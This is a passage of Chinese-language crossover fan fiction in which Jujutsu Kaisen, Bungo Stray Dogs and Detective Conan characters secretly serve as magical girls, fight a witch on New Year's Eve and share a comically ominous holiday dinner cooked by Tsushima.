真让人怀疑他们在校外是不是天天去打架战斗、或是锻炼身体了。 她顿了顿，说道：“反正，文化课这一关你们绝对过不了，你们都快缺席了一半的课程了！” 伏黑惠和虎杖悠仁确实对此很是头疼。 可是，如今这情况，他们实在是没办法抽出空来在文化课上多花费些时间了。 两人对视一眼，都默默在心底叹了口气，做好了挂科补考的准备。 然后这时，钉崎野蔷薇拿出了自己的笔记本，放在面前的桌子上，随即抬起下巴道：“喏，这是我在课上做的笔记，用它复习起来肯定事半功倍。” 另外两人愣了愣。 “钉崎你真是个好人！” 虎杖悠仁最先反应过来，一边夸赞一边伸手想要接过那本笔记。 “停——” 钉崎野蔷薇制止了他，说道：“世上可没有免费的午餐。更何况你们两个可恶的家伙，这段时间总留我一个人在学校。” 伏黑惠试探着说：“那这一学期你买新衣服的钱，我和虎杖就都包了？” “真的？！” 钉崎野蔷薇惊喜地反问。 虎杖悠仁立即保证：“当然当然！” “咳咳……”钉崎野蔷薇却仿佛突然反应过来，别扭地道：“这点小恩小惠就想收买我？远远不够。” 伏黑惠看出她似乎是早就有了最想要的东西，就问道：“那请问我们还需要付出些什么呢？” 钉崎野蔷薇微笑着问：“你们两个都跟魔法少女很熟，对吧？” 虎杖悠仁下意识地点了点头。 随后，很快意识到不对——伏黑跟禅院穗有着密切关系，这当然是谁都清楚的一件事。 可是，钉崎是怎么知道自己和魔法少女有关的？？？ 第136章 虎杖悠仁震惊不解地望向钉崎。 钉崎野蔷薇看着对方呆呆的样子，不由得笑了两声，才道：“你们当我连这点也想不到吗，这多好猜啊。” “伏黑之前请假离校，不是一直都在给魔法少女们帮忙嘛。而现在虎杖你天天跟伏黑一起，同时离校同时回来的，所以当然应该是在跟他做一样的事情！” 闻言，虎杖悠仁缓了一口气。 幸好钉崎没有猜到更多的事情。 虎杖悠仁附和着说道：“没错没错，咳……被你发现了。” “这么简单谁猜不到呢……” 钉崎野蔷薇顿了顿，而后好奇地道：“不过，你为什么要跟伏黑一起给魔法少女帮忙？” 虎杖悠仁刚放下的心，因为她的这一句话而又突然提了起来。 “这个……” 他绞尽脑汁地想着借口。 钉崎野蔷薇疑惑不解地说：“伏黑我还能理解，毕竟他有身为魔法少女的女朋友。可是……虎杖你为什么也这样？” 虎杖悠仁有点太过紧张，脑子都卡顿了，一时怎么都不知道该说些什么。 幸好，还有伏黑惠这个前辈帮忙。 伏黑惠比他早成为魔法少女，不仅在魔法的运用方面要比他熟悉，就连如何说谎隐瞒身份也比他经验更丰富。 “其实，虎杖有次遇到魔女、陷入危机的时候，被一个魔法少女给救了。为了偿还这份恩情，所以他现在才会常常给她们帮忙。” 伏黑惠一本正经地替虎杖解释道。 钉崎野蔷薇吃了一惊：“啊，这事什么时候发生的？我怎么不知道？” 虎杖悠仁心道他自己其实也是刚刚才知道的，表面上努力自然地配合伏黑惠，说道：“……也就在前段时间。” 钉崎野蔷薇想了想，忽然问道：“那你要给她们帮多久的忙？” 这个还真没办法说清楚，估计以后都要一直这么在咒术师和魔法少女的工作之间来回忙碌…… 虎杖悠仁结结巴巴地道：“不、不太确定。” 钉崎野蔷薇盯着他：“你不会是要直接卖身给魔法少女她们吧？等等……那个救你的魔法少女是谁？” 虎杖悠仁垂头低声道：“……悠衣。” 他也不想把自己的另一个身份用出来背锅，可是把别的魔法少女牵扯进来就更不方便了。 “哦……是那个新出现的魔法少女。说起来她还蛮可爱的，漂亮又有活力。” 钉崎野蔷薇若有所思地道： “上次在网站上，我还看到过她的一次战斗片段，双手持着两把短刀，打起架来很凶很有暴力美学的感觉呢。” 虎杖悠仁慢慢地、慢慢地将头越垂越低。 钉崎野蔷薇奇怪地看向他，发现他的耳尖微微的红了。 她顿时了然了。 “我都明白了。” 她拍了拍虎杖悠仁的肩，用着鼓励的语气道：“要加油啊，我看网上喜欢那位悠衣小姐的人还不少呢。” 虎杖悠仁：“……？？！” 钉崎你到底明白了什么？ 说清楚点，他害怕。 已经经历过类似事情的伏黑惠先猜到了钉崎的想法……不过，他觉得这确实是个好理由。 于是伏黑惠也拍了拍虎杖的另一边肩膀：“确实要加油啊，我感觉悠衣小姐在感情方面可能会偏慢热一点。” “啊？啊……” 虎杖悠仁眼里写满了问号。 伏黑惠立刻再次出声，不让虎杖多说什么不该说的话，转而问钉崎道： “对了，说了这么多都跑题了，你到底需要我和虎杖做什么呢？” “我也想要和魔法少女做朋友！这种事情超酷的啊，我才不要被你们两个孤立呢。” 钉崎野蔷薇说起这个时，眼睛都亮起来了。 “既然你们和魔法少女们很熟，那让我也亲眼见见她们，跟她们多交流几次应该也不算什么事情吧？” 伏黑惠默默吸了口凉气。 嘶…… 钉崎野蔷薇没有立刻收到回应，迟疑而失望地道：“连这点小小的请求都不可以吗？！” 伏黑惠有点心虚，确实在这种事情上，他和虎杖看起来有点孤立对方了。 这样想着，他咬了咬牙说道：“……可以。” 不就是性转女装之后，再跟自己同学认识一下，再交个朋友而已嘛…… 这些困难，他努力努力还是可以克服的。 更何况当有人能跟自己一起面对同样的困难时，这些困难便仿佛因被分担而减少了一半。 “过些天禅院穗有空的时候，我介绍你们见个面。” 伏黑惠说着，将头扭向虎杖悠仁道：“当然，悠衣小姐也会来的，对吧？” 虎杖悠仁看了看伏黑惠，又看了看钉崎，沉默了一会儿才沉重地点了点头：“嗯，好吧。” “太好了！” 钉崎野蔷薇看起来很高兴。 “哦唔，对了，我是不是提前多了解下她们会更好一些。” 伏黑惠问道：“你不是经常逛魔法少女网站吗？” “那不一样，网站上的信息有真有假，都说不准的。” 钉崎野蔷薇期待地看着他们：“难得有你们两个跟她们这么熟悉的人在，我当然要多获取点独家情报啦。” “额……你想知道什么？” “我都想知道！” 看着另外两人难以描述的表情，钉崎野蔷薇眨了眨眼睛，让了一步说道： “我现在最想知道的是……魔法少女们的相处模式！她们日常都在干些什么事情？彼此之间的关系怎么样？！” “这个啊……” 伏黑惠斟酌着，不知道该怎么描述。 钉崎野蔷薇见状，立刻有点紧张地问道：“不会真跟网上某些家伙说的一样，她们之间的关系其实很糟糕吧？” 第137章 ……她们之间的关系其实很糟糕？ 伏黑惠惊讶地问：“网上怎么说的？？” 钉崎野蔷薇解释道：“就是先前有些视频里录到过，她们对彼此的态度不怎么样的片段。” “对了，最关键的是，有一次录到了禅院穗和艾尔菲下手很狠的打架视频……之后某些人就渐渐开始说她们内部的关系很差了。” 伏黑惠顿时尴尬低头，像是被人当面指出黑历史一样。 ……可那都是过去的事情了，为什么现在还要再提啊？ 其他人也应该与时俱进一些吧？！ 钉崎野蔷薇迟疑地说：“之前总有人说她们的关系不好，但我原先还以为那只是她们的小打小闹，偶尔闹点别扭而已。” 她有点担心：“……难不成会是真的吗？伏黑你倒是快说一下啊。” “应该不是吧。” 虎杖悠仁先出声道。 他虽然成为魔法少女的时间不算久，但相处中感觉氛围还算挺和谐的，反正到不了糟糕的程度。 不过，禅院穗和艾尔菲的打架视频是怎么回事，一般不都是只有朔夜来教导其他人魔法使用技巧吗？ 虎杖悠仁不解地看向伏黑惠…… “禅院和艾尔菲那次只是训练而已。” 伏黑惠勉强解释道：“她们的关系其实……还好，目前没什么矛盾。” 钉崎野蔷薇：“真的？” 伏黑惠僵硬地点点头。 虽然要承认这一点确实令人有点别扭，但是自从那次解决了港口黑手党里的那个魔女之后，她们的关系便进展得很快。 渐渐有一种……同伴的感觉了。 钉崎野蔷薇情绪立刻转好了：“我就说，魔法少女们应该是团结协作、充满希望、共同奋进、正义凛然……的！” 她不假思索，就用上了一连串美好正面的形容词。 伏黑惠不好意思地用手遮住脸。 ……钉崎这说话的语气，和魔法少女网站上的那些人简直太像了，她到底在网站上都混了多久啊。 不过…… 说起来，刚刚签订契约的时候，他对此又怀疑又担心，原本对魔法少女这种存在的印象还完全破灭了。 但是这么久以来，津美纪一直好好的，愿望后续并没有出现什么问题。 魔法少女这份工作也不算是特别危险，还能让他拥有更多的力量，使他可以保护自己重要的人。 就连之前产生过矛盾、觉得根本合不来的那几个魔法少女，现在也和她们慢慢打好了关系，发现她们其实没那么难以相处…… 伏黑惠想着这些，忽然有些庆幸。 能够成为魔法少女…… 其实还蛮不错啊。 …… “魔法少女这职业也太糟糕了吧！！！” 伏黑惠忍不住吐槽道。 此时此刻，黑发绿眸的魔法少女显得非常狼狈，身上沾满了脏污与血液，墨绿色连衣裙的裙摆破了好几处，连原先披着的开衫都早就不知道丢哪里去了。 显然，她刚经历了一场恶战。 不远处的丘比只能尴尬地摆了摆尾巴，一句话也没说。 朔夜站在丘比身旁，维持着沉默寡言的人设、同样安安静静的。 就松代一个跟禅院穗搭了话：“确实，现在这个时候还得出来工作的……恐怕除了我们之外，也没多少人了吧。” “对了，你现在还好吧？需要去医院或是怎么治疗一下吗？” 松田阵平还牢牢地记得刚才与魔女战斗的时候，禅院穗受了多少伤，鲜血不断地往外流着，洒了一地。 如果是普通人，大概早就因失血过多而死了。 而禅院穗却是在一次次受伤吐血之后，依旧重新站了起来，一直顽强地挺到了朔夜赶来救急的时候。 “我没事，死不了的。去医院治疗还没有自愈来得快。” 伏黑惠说着，顿了顿，又将这个问题反抛给了松代：“你呢，你还好吧？需要我帮你治疗一下吗？” 刚才她们两个一起战斗的时候，松代所承受的伤害最多的。 明明对方拥有几乎无尽的枪.械和炸.弹，看起来应该是更适合远程战斗的吧，但是松代总冲在前面、近距离抗压。 “我也还好。” 松田阵平说道：“这次的魔女虽然血条挺厚、还会自动回血，难杀得很，但是造成的伤害感觉并不算强。” 伏黑惠沉默了。 她看了看周围的断壁残垣，这么一片狼藉的场景叫做那个魔女杀伤力不强？？？ 应该说松代的体质过分离谱了才对吧！ 虽然从认识到现在已经有八个多月的时间了，她们早都算是熟悉了。 但两个人还是互相为对方特殊的体质而默默震撼了几秒。 这时候，突然另一个少女凭空出现在了她们身边。 黑发鸢眼的少女语气夸张地道：“哇，你们看起来都好狼狈啊，这次的魔女有这么难打吗？” 用这种语气说话就已经够招人厌了。 更何况这家伙还边说边拿出了手机，左右扭头，饶有兴趣地给她们两个连拍了好几张照片。 松田阵平咬牙切齿地道：“津、岛！别拍了！” 而伏黑惠第一反应则是扭过头去，不让津岛拍到自己的正脸。 然后他可悲地发现，自己对这种行为居然已经这么熟悉了……五条老师和津岛都有恶趣味的坏毛病。 这让他不管是当咒术师，还是当魔法少女，都时不时容易被人开玩笑捉弄。 真是的，那两个家伙绝对能够相处得很来。 在松田阵平快忍不住上手抢对方手机之前，太宰治先收好了手机，道： “松代也太凶了吧，亏我一看到群里的消息，就千里迢迢地赶过来帮你们的忙了。” “你也没帮上任何忙啊。” 松田阵平还是很不满自己被拍下的狼狈照片。 “谁让朔夜前辈来得太快了嘛。” 太宰治毫不心虚地说：“我本来还打算等你们坚持不住了，就出手帮忙的，结果她过来后一下子就解决了那个魔女。” 松田阵平和伏黑惠都听出了她话里的含义。 松田阵平幽幽地来上一句：“你是说，刚才我们拼死拼活战斗的时候，你其实早就到了？” 伏黑惠紧接着补充道：“你就站在不远处一直看着，准备等我们两个快死了才打算出手？” 太宰治眨了眨眼睛。 “至少我还过来帮忙了啊。你们看，艾尔菲和悠衣不是现在都还没来嘛。” “她们哪有你直接瞬移来得快。更何况她们现在应该都忙着没空看消息吧，毕竟今天可是……” 松田阵平说了一半，忽然短暂地卡了壳。 ——今天是大晦日，也就是今年的最后一天，再过几个小时之后便是新的一年了。 第138章 按理来说，大晦日的这一天大家都应该待在屋里，和家人团圆，温馨又热闹地共同等待时间跨越零点的那一刻。 这种时候还得出来处理危险的魔女，确实是一件非常令人烦心的事情。 禅院穗刚才就因此难得不高兴地抱怨了好几句。 但是没办法。 随着魔女的数量越来越多、分布范围越来越广泛，魔法少女们对魔女的处理地区如今已经划分得非常具体，尽量不浪费更多的资源。 而这次的魔女恰巧在禅院穗所负责的范围内活动着。 因为它很擅长隐藏踪迹，又经常改变活动的地方…… 即使有群众提供的信息和合作势力的帮助，禅院穗还是找了两三天都没有找到这魔女。 并且在这几天内它害死了更多的人，十足地展现了其高危险性。 于是，松代便主动站出来帮了禅院穗。 松代想着尽快和她一起找到并杀死这魔女，免得在过年这种重要的日子里，还有不稳定因素威胁到民众安全。 反正这次松田阵平本来就准备留下来陪萩原和伊江一起过年的，他们两个又清楚魔法少女的事情，就不必担心在重要时刻缺席该如何跟家里人解释…… ——总之，禅院穗和松代在过年时还惨兮兮地出来打魔女，都是有原因和提前准备的。 而朔夜和津岛竟然也能及时赶过来帮忙，确实已经是很难得很讲情谊了。 尤其是津岛到了之后，不及时出手帮忙解决魔女或是救她们离开，还有闲情雅致在旁边慢慢观看着…… 松田阵平不由得心想。 津岛该不会没有能一起过年的人吧？ 感觉可能性很大。 于是面对津岛的恶趣味行为，松代便不由得一时心软，说不出什么生气指责的话了。 然而津岛却皱了皱眉，看着没再说话的她问道：“你在思考什么比较失礼的事情吗？” 松代：“……” 她没好气地道：“你就不能说点好话吗？” 津岛摆了摆手，完全没有自知之明地道：“我说的话不都挺好听的嘛。” “你……” 松代刚出声，就又停下了。 她累了，懒得和津岛继续计较了。 而且和这个魔女的战斗耗费了太长时间，萩原和伊江应该已经等得很久了，松田阵平还记挂着早点回去跟他们一起过年呢。 不过，就在松代准备告别离开的时候，不远处突然传来了动静，一个戴着虎耳兜帽的粉黑发少女匆匆忙忙地刚刚赶到。 “呼……呼呼……” 那个少女手撑在膝盖上喘着气，显然赶路的时候非常着急。 “你们、没事吧？看到群里发的消息，我就赶紧过来了，不过赶路还是花费了很长时间……” “没事。”伏黑惠迟疑地问：“但你现在不是应该在京都吗？怎么这么快就赶来了？” 今天是跨年夜，不过虎杖悠仁也没有能够一起过年的家人，于是五条悟就邀请了他去五条家过年。 而往常，伏黑惠大多都是和伏黑津美纪一起过年的。 今年则要忙着解决这个棘手的魔女。 因为当时眼看着即将年底却还没找到它，伏黑惠便提前做了准备。 他找借口告诉津美纪，他今年不能跟她一起过年了。顺便还让津美纪也去五条老师家过年。 虎杖悠仁说道：“这种时候你们还孤孤单单地在外面对付魔女，我有些不放心，也想着陪陪你们，就还是回东京来了。” 伏黑惠有点不好意思。 本来虎杖是可以在五条家好好过年的，但是到东京来找了她们，现在就只能在大冬天一起吹凉飕飕的西北风了。 伏黑惠想了想，提议道：“魔女已经被解决了，要不……你看看现在能不能再回京都的五条家吧。” 他自己提前找的理由不方便突然更改，会很难解释。但虎杖说不定可以再重新回去过年。 现在离零点还有那么几个小时，快点的话可能还能赶上最晚的一班列车。 “不了，那样也太麻烦了。” 虎杖悠仁却拒绝了，看上去心情还挺好地道：“既然我们现在有四个人，哦对了还有丘比，不如大家就一起过年吧？” 伏黑惠：“啊？” 粉黑发少女的眼睛亮亮的，左右看了看周围的其他人，很欢快地招呼道：“大家现在应该都有空吧？我们一起过年呗。” 如今的所有魔法少女中，就只有悠衣显得这么特殊。 完全不傲娇、冷淡、寡言、独善其身……相反，她总是毫不保留地展现自己的善意与热情。 所以太宰治不适应地说：“不好意思，我没空呢。你们过吧，我就先走了。” 悠衣看起来很可惜地道：“诶——本来人就不是很多，津岛你离开了之后，我们这里就显得不怎么热闹了。” 伏黑惠这时觉得一起过年似乎也还好，不然他也无处可去，就直接拆穿了津岛的谎言。 “你哪里没空了，刚才不还是很闲的样子，一直站旁边围观我们与魔女战斗吗？” 太宰治无奈扶额。 虎杖悠仁闻言立刻恳请道：“既然津岛有空的话，那就一起嘛。拜托了，没有你是不行的。我真的希望大家能够一起过年，那样才足够温馨热闹！” 太宰治弱弱地道：“还是算了吧……我也不擅长烘托气氛。” 虎杖悠仁：“没关系的，只要你在就可以了。” “要不再联系一下其他人吧……” “现在天都黑了，她们大概应该都在家里忙着陪家人们呢。” “……” 太宰治擅长的东西有很多，最不擅长的却是最简单的事情——如何面对他人真挚的好意。 原本太宰治都是能提前猜到这种局面，然后能躲多远就躲多远的。 可是现在却还是措不及防地撞上了。 津岛勉力推辞了好几句，然后在悠衣热情的攻势下，不知不觉就恍恍惚惚地答应了。 真恐怖啊。 太宰治无可奈何。 悠衣这家伙跟敦君在某些地方还蛮相似的啊。 第139章 与此同时，武装侦探社里。 因为社里的有些成员没什么家人或不方便回家过年，于是他们便商量着在侦探社里一起热热闹闹地过个年。 其中当然包括了，今年才被孤儿院给赶出来的中岛敦。 他还是第一次感受到这么浓厚的过年氛围，非常开心地帮忙做着准备工作，等着一会儿和大家一起吃年夜饭。 不过眼看着天色已经晚了，饭都差不多准备好了，但是他却还没有看见太宰先生的影子。 “太宰先生怎么还不过来？难道……他今年要和别的朋友一起过年吗？” 中岛敦忍不住问道。 “太宰那家伙会有能够一起过年的朋友？” 国木田独步完全难以想象这个，无奈道：“你想太多了，太宰根本没有一次次在侦探社里过年。” “有的吧……” 中岛敦似乎记得上次在路上太宰先生跟一个人搭了话，说那是他的朋友？ 不过比较奇怪，明明好像也就过了几个月，他却有些记不清那次的事情了。 所以现在中岛敦因为不确定具体情况，而犹豫着不知道该怎么说。 国木田独步不以为然地道：“别说是过年了，就连之前社里的一些活动，他也是能避则避，避不了也是尽量躲在人少的地方……” “很明显他不喜欢这种场合，所以就算有朋友邀请也不会去的，现在他更有可能在某个地方尝试新的自杀方法吧。” 中岛敦听完愣了愣，心里突然说不清是什么滋味。 总感觉这样的太宰先生听起来好孤单…… 刚好就在不远处的江户川乱步随口插了一句：“不过，以后就说不准了，说不定今年太宰就有可以一起过年的人了呢。” “诶！”中岛敦惊讶道。 江户川乱步补充道：“今年还不一定，得有一些机缘巧合。但以后大概率还是可以的。” “毕竟还不到一年的时间，他就已经改变许多了，之后总会慢慢习惯接受他人好意的。” “确实。” 和太宰治搭档了两年多的国木田独步，听了之后倒有些感触。 他当然也发现太宰治这些时间里有了很多变化，也为此感到了一些欣慰。 可是，这变化似乎是用太宰治本就不多的工作时间换来的…… 真是的，那家伙近期旷工的频率真是越来越高了啊，可恶！ 而中岛敦虽然不太懂江户川乱步说的话，但是也能明白话里的表层含义，由衷地说了一句： “那真是太好了。” 他当然希望，在他最无助迷茫的时候、邀请他加入了侦探社的太宰先生，能够在今后过得更好。 …… 太宰治答应悠衣一起过年后，很快就忍不住后悔了。 黑发鸢眼少女沉默了好一会儿，然后抬眼看向松代和朔夜的方向，做了最后的挣扎：“那个……她们两个不是还没答应一起过年嘛。” 虎杖悠仁随即也望向她们，期待地问：“你们可以吗？” 松田阵平没办法随便答应，她纠结了一下，选择问道： “我能再叫上其他人吗？就是我们的合作对象、之前你们也见过了的榎原健一和伊江朔久。我本来约好和他们一起过年的。” 相处的这八个月以来，因为经历了不少事情，魔法少女们如今对彼此也越来越熟悉了。 松田阵平甚至都怀疑津岛和朔夜对自己的身份已经有所猜测了，所以也就不用再多做无意义的隐瞒了。 “哦哦，当然没问题。” 虎杖悠仁立即应下：“人越多越热闹嘛。” 于是松田阵平便直接拿出手机，询问还在等待的萩原和伊江的意见了。 虎杖悠仁又期待地看向朔夜。 白发少女还在沉默：“……” 伊江朔久暗暗问系统：‘我记得你说过可以同时操控多个丘比马甲，那有没有什么分身的办法能让朔夜和我本身同时出现？’ 奈何系统说道：【暂时没什么好办法。】 ‘好吧。’ 那就只能做出取舍了，还得面临被怀疑身份的危险。 伊江朔久想了想。 虽然知道让朔夜拒绝离开，以伊江朔久的身份参加会对隐瞒身份更有利一些。 但是这种时候，魔法少女们几乎都聚在这里了，确实是很难得的氛围……让伊江朔久想起了一些比较久远的回忆。 曾经以为永远不会有这种类似的场面再现了。 伊江朔久垂眸，从心底涌现的浓厚的怀念情绪迫使其还是答应了：“可以。” 应该不算是什么很要紧的问题。 虎杖悠仁兴致勃勃地道：“好诶！” 太宰治的目光倒是在朔夜身上停留了好一会儿，像是在奇怪她为什么做出了这样出乎其意料的选择。 伏黑惠问道：“对了，我们是去津岛的那个安全屋过年吗？还是早点过去吧，外面现在实在有点冷。” “我准备了一个新的安全屋，还没来得及告诉你们，去那里吧。” 太宰治说道：“……原先的那个只是我给自己一个人准备的，还是太小了，不方便这么多人聚一起。” “哇，这么好！太谢谢你了津岛。” 虎杖悠仁惊喜地道。 太宰治撇过头：“其实准备这个花费的资金，都是艾尔菲提供的，所以没必要感谢我。” 虎杖悠仁立刻情商很高地回复道：“都要感谢的，辛苦了！” “对了，艾尔菲……我们还差一个人就齐了。” 她说着，拿出手机在群里发了消息：“我问问看她能不能来。” 太宰治很有把握地道：“不可能的，她现在肯定得忙着陪家人呢。” 虎杖悠仁看了看她刚发在群里的消息，一时半会儿艾尔菲还没有回复…… 她有点可惜，但很快又调整过来了。 “过年确实应该和家里人团圆，那就不打扰她了。” “不过也没关系，我们现在也有这么多人一起，足够热闹开心地度过了！” 第140章 ……艾尔菲真的好有钱啊。 进入这个新的安全屋的所有人，心里几乎都飘过了这样的念头。 虽然有过提前准备，知道这个是专门为了魔法少女们而准备的，肯定会比之前津岛临时帮忙提供的地方大。 但是也没想到，会这样大且豪华。 怎么说呢……很多细节设计都很有艾尔菲的风格。 不过显然，津岛也是有尽量插过手的，所以这里才没有全是那种金碧辉煌的感觉，还保留了点作为安全屋的隐蔽性。 伏黑惠先将客厅中央的壁炉打开。 隔着一层玻璃的火焰欢快地跳跃着，不断地带来阵阵热量，驱散了她们从外面带来的寒意。 虎杖悠仁则兴致盎然地打开了大屏幕的电视，收看起每年的经典节目红白歌会。 这么一来还真的有些过年的氛围了。 可是，看了一眼厨房后回来的津岛带来了不好的消息：“这里可没什么食材哦，应该只有一些压缩饼干。” 过年的时候，其他什么都可以缺一点，但唯独食物可是必不可少的。 然而现在这个时间段，根本不知道去哪里可以买到东西。 “叮咚——” 门铃忽然响了。 松田阵平立即去开门，果然门外是照例易容成榎原健一的萩原研二，对方手上还提着一大袋子东西。 他打招呼道：“嗨，我想着这是临时提议的活动，大家可能准备得不够多，我就把我们之前准备好的一些食材和酒拿过来了。” 不得不说，这简直是帮了大忙了。 她们准备得不能说是不够多，简直是几乎一点都没有。 不过，松田阵平先往门外看看，不解道：“伊江呢？” 萩原研二不好意思地说：“小伊江他之前说组织有事要忙就出去了，然后不久前给我发消息说，没办法跟我们一起过年了，祝我们新年快乐。” 松田阵平有点失望，转而对组织更添了几分糟糕的印象： “……那个跨国犯罪组织过年都不让人安宁，他们迟早绝对会被连根拔起的。” 组织惨遭背锅。 而朔夜表面安安静静地坐在那里，没有往向萩原和松田那边投去半分目光，仿佛在cos木头人一样。 不过，津岛却突然主动凑过来：“伊江君没有来真是可惜呢，前辈你说对吧？” 她的声音放得比较轻，只让朔夜能够听得见。 但是朔夜直接没有理她。 “作为合作伙伴，之前伊江君也曾来见过其他魔法少女，不过可惜当时前辈你不在。” 津岛若有所指地说道：“现在你有空了，伊江君却又突然有事要忙，这还真是不凑巧啊。” 朔夜平静地看着她，终于开口：“你想说什么？” 太宰治有点头疼。 这么诈都诈不出来吗？ 真是的……要不是之前在魔女结界里看过朔夜演技满分的另一副模样，太宰治都要怀疑对方是个面瘫了。 不过，就算朔夜的演技没有问题，但也不可能这么久以来一丝破绽也不露。 太宰治已经确定伊江朔久和朔夜之间绝对存在着密切联系…… 只是有一点很奇怪——太宰治试探并确定了伊江朔久的腿疾不是作假的，他的的确确不可能站起来。 如果他们是同一个人，那该怎么解释这样的差异？ 津岛想了想，开玩笑似的随口一问：“你有什么想要故意躲着的、很久没见面的兄弟姐妹吗？” 像是措不及防地被说出了隐藏在心底很久的事情，面前的白发少女表情微微一变，罕见地没那么镇定。 虽然只是一瞬间她就恢复了往常的样子，但太宰治确定自己没有看错。 朔夜：“……你在胡说些什么？” 氛围一时有点僵了下来。 系统有些诧异地道：【朔久？】 伊江朔久默了默，然后说：“故意表现出一点破绽，才能更好地迷惑别人，这样津岛便会以为她随意的猜测可能就是真相了。” 系统声音好似恍然地道：【原来如此。】 这样的做法，确实是伊江朔久擅长且时常会使用的。 然而很可惜…… 刚才的破绽却不是伊江朔久主动展现出来的。 片刻的沉默过后，津岛放弃了和朔夜继续这个话题：“不好意思啦，开个玩笑而已。” 朔夜也没有追究：“没什么。” 津岛仿若灵光一闪地说：“既然有食材了，为了表达歉意，我就简单给大家露一手吧。” 了解她厨艺的伊江朔久：“……？” ……认、认真的吗？ 然而津岛下一刻就站起身来，往松代和榎原健一那边方向走过去，凑热闹地道：“就让我来负责下厨吧。” 松田阵平也是怀疑地看向津岛：“你会做饭？” 津岛给人的感觉不像是厨艺很好的样子…… “当然，我有好几道拿手的佳肴呢。” 萩原研二高情商地夸赞道：“真厉害啊，那我就给津岛小姐打下手好了。” 回忆着曾经被捉弄过的经历，松田阵平还是对津岛的厨艺有点放心不下。 可是不明所以的萩原研二却没理解自家幼驯染的担忧，还轻轻推了推松代的背，笑着说： “松代你和其他人坐在壁炉旁边等待就可以了，放心吧，我们会尽快做好饭的。” 松田阵平想了下…… 至少还有萩盯着，应该没问题吧。 于是她便没再多想地点点头应下了。 ……一个小时后。 津岛高高兴兴地从厨房将一盘盘菜端了过来——有河豚、惠方卷、鸡汤和醋腌菜。 卖相看着都还挺不错的。 不过很奇怪，进厨房前样子还挺轻松的榎原健一，此刻跟在津岛后面出来后，表情却显得分外凝重了。 津岛招呼道：“快吃吧，食材的分量还是太少了，不够我们这么多人吃。吃晚了的话，可就没有咯。”【你现在阅读的是 】 140-150 第141章 松田阵平看了看自家幼驯染难得一见的凝重表情，又看了看那些菜……不由得陷入了沉默。 这根本不是分量的问题。 而是，吃完这些之后，她们还能不能活着见到明天的太阳的问题。 松代悄悄跟幼驯染使眼色——你不是在厨房一直帮忙看着吗？ 萩原研二回以弱小、可怜又无助的眼神——我没想到津岛小姐的厨艺这么……特别。 而且对方好歹看起来是年幼的女孩子，我实在不好惹她生气，只能一直在尽量补救这顿饭了。 松田阵平：“……” 其实老实说，直到目前为止，松田也不能确定这里到底有没有真正的年幼的女孩子。 但松田阵平倒也习惯了萩原对女性一向包容而绅士的态度。 唉，根本不应该指望萩能管住津岛的。 松田阵平勉强平复了下心情，再次跟幼驯染用眼神交流——这些吃了不会有事吧？ 萩原研二表情复杂地轻轻摇头——我也不知道。 “快吃啊，光看着干什么？” 津岛催促着，她都已经帮忙把每个人的餐具放在了桌子上。 虎杖悠仁有些疑惑地看了看周围有点僵硬的其他同伴，隐约感觉到了不太对劲。 但是见没人给津岛捧场，她还是拿起了筷子，暖心地道：“那我先来尝尝吧，这些看着就很好吃。” 虽然是这么说的，但为了安全起见，悠衣避开了万一处理不正确就容易让人中毒的河豚，还有一份的量比较大的惠方卷…… 她小心翼翼地夹起了一小点醋腌菜吃掉。 “唔，味道很不错！” 虎杖悠仁真情实感地夸赞道：“津岛原来你的厨艺竟然这么好啊！酸、甜、辣味俱全，感觉比我之前吃过的绝大部分醋腌菜都要好吃得多！” 松田阵平愣了一下。 真的假的？ 她看向萩原研二，对方也是一副摸不着头脑的样子。 津岛笑着介绍道：“这是早就腌制好了的菜，本来只是普通的口味，但我做了特殊的改良，所以它绝对要比之前好吃很多！” 松田阵平闻言放松了一些。 早就腌制好了的菜，做一点再加工而已……想必津岛应该也弄不出太多花样吧。 话说，刚才和禅院穗在外面找了很久魔女，又经历过一场恶战，现在似乎真有一点饿了…… 松田阵平也动了筷子，尝了点醋腌菜：“味道确实可以。” 可其他人依旧不太敢动筷。 津岛再次招呼道：“快吃啊，你们都不饿吗？” 警惕心比较重的伏黑惠摆了摆手，果断拒绝了：“不好意思，我不喜欢任何带有甜味的菜肴。” 刚看过津岛用花里胡哨的方式做饭，萩原研二此刻也犹豫地找借口说：“我来之前已经吃了点东西，现在还不饿。” 了解太宰治做饭水平有多么玄学的伊江朔久：“……我也不饿。” “不饿也都先吃一点嘛，醋腌菜很开胃的。” 津岛说着，把那盘河豚往禅院穗的方向推了推：“而且又不是所有菜都带甜味的。禅院，你尝尝这个。” 禅院穗下意识身体往后挪了一挪。 津岛用很虚假的受伤的语气道：“吃点嘛，又没有毒，真的没毒。” ……这么一强调，其他人更觉得有点别扭了。 就连现在只盯着醋腌菜吃的松代和悠衣都觉得升起了一丝凉意，忽然有点不知道要不要再继续吃下去了。 似乎是看没有人上当，津岛可惜地叹了口气，说道： “这河豚可是新年祈福的一道经典美食，我第一次做它，灵感非常足呢，绝对比其他菜肴都更能令人眼前一亮。” “第、第一次？！” 萩原研二声音有点颤抖：“小津岛，你不是说你很会处理河豚的吗？” “我会啊，这不是很简单吗？”津岛丝毫不慌地道：“去除掉有毒的部分不就没毒了嘛。” 这话说得跟废话一样，河豚的处理肯定没那么简单啊！ 所有人顿时都更坚定了几分绝不碰那道菜的决心。 吃完后，不一定能让人眼前一亮，大概率只是会使人眼前一黑原地去世吧…… 津岛继续介绍道：“惠方卷我也很推荐，里面包含着辛、甘、酸、苦、咸、淡、涩七种口味，吃下去后或许能体会到人生的各种滋味吧。” 其他人：“……” 好诡异的感觉，这还是他们印象里熟悉的惠方卷吗？？？ 津岛最后看向那个鸡汤，语气忽然有点迟疑：“……这个鸡汤，应该是活力清炖鸡的半成品吧？” 虎杖悠仁：“活力清炖鸡？” 完全没听过，好奇怪的名字…… 伏黑惠：“半成品？？？” 松田阵平吐槽道：“你怎么一副自己也不清楚自己做了什么的样子啊？” “都怪食材还是不够，我无法复刻之前记忆里的所有制作步骤。” 津岛为自己辩解道：“完成体的活力清炖鸡吃了之后可是能让人活力四射，最适合你们这些有着多种工作、整天忙忙碌碌的人了。唯一的缺点只有吃完后几天的记忆会消失而已。” “至于半成品的效果我还不确定，说不定会比完成体少了副作用呢……总之试一试就好啦。” 她说完这些话后，松代和悠衣都不由得默默扔下了手里的筷子，心底凉了一片。 伏黑惠难以置信地道：“你这是认真的吗？怎么可能有这种不科学的效果？” 太宰治理直气壮：“我们可是魔法少女诶，还讲什么科学。” 虎杖悠仁弱弱问道：“所以这是魔法的效果吗？” 伊江朔久替太宰治回答道：“不是。” 